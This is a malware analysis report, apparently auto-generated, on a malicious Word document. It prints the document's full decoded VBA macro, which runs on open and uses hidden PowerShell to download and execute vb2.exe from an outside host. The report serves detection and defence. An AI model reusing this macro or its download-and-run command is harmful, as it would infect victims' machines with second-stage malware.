Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 deb81ba7d957c8f0…

MALICIOUS

Office (OLE)

164.0 KB Created: 2019-02-03 21:20:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 60d659cab23779e27c54a3daee17f558 SHA-1: c5754af8385aa8a83e14edbce72a958d87b5b07f SHA-256: deb81ba7d957c8f035898e6e4724afb026589a1fac34e2db81fba4aa27229d24
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample contains a VBA macro with a Document_Open auto-execution routine. This macro constructs and executes a PowerShell command that downloads a second-stage executable from 'https://assetsoption.com/wordpress/vb2.exe' and saves it to '%PROGRAMFILES%\vb2.exe' before executing it. This indicates a downloader or droppper functionality.

Heuristics 9

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Private Function fExecute(sVarName1 As Variant, sVarName2 As VbAppWinStyle) As Variant
fExecute = Shell(sVarName1, sVarName2)
End Function
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Dim PShellCode As Variant
PShellCode = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://assetsoption.com/wordpress/vb2.exe','%PROGRAMFILES%\vb2.exe');Start-Process '%PROGRAMFILES%\vb2.exe'"
Call fExecute(fGetPath("COMSPEC") & " /c " & PShellCode, vbHide)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Option Explicit
Private Sub Document_Open()
Dim PShellCode As Variant
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Private Function fGetPath(sVarName1 As Variant) As Variant
fGetPath = Environ$(sVarName1)
End Function
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://assetsoption.com/wordpress/vb2.exe In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 951 bytes
SHA-256: d7e67448bf8c640c2e8f2501ab0b08fb48acf6266e1a270e3b62339b11786c4c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New()
Option Explicit
Private Sub Document_Open()
Dim PShellCode As Variant
PShellCode = "PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://assetsoption.com/wordpress/vb2.exe','%PROGRAMFILES%\vb2.exe');Start-Process '%PROGRAMFILES%\vb2.exe'"
Call fExecute(fGetPath("COMSPEC") & " /c " & PShellCode, vbHide)
End Sub
Private Function fGetPath(sVarName1 As Variant) As Variant
fGetPath = Environ$(sVarName1)
End Function
Private Function fExecute(sVarName1 As Variant, sVarName2 As VbAppWinStyle) As Variant
fExecute = Shell(sVarName1, sVarName2)
End Function

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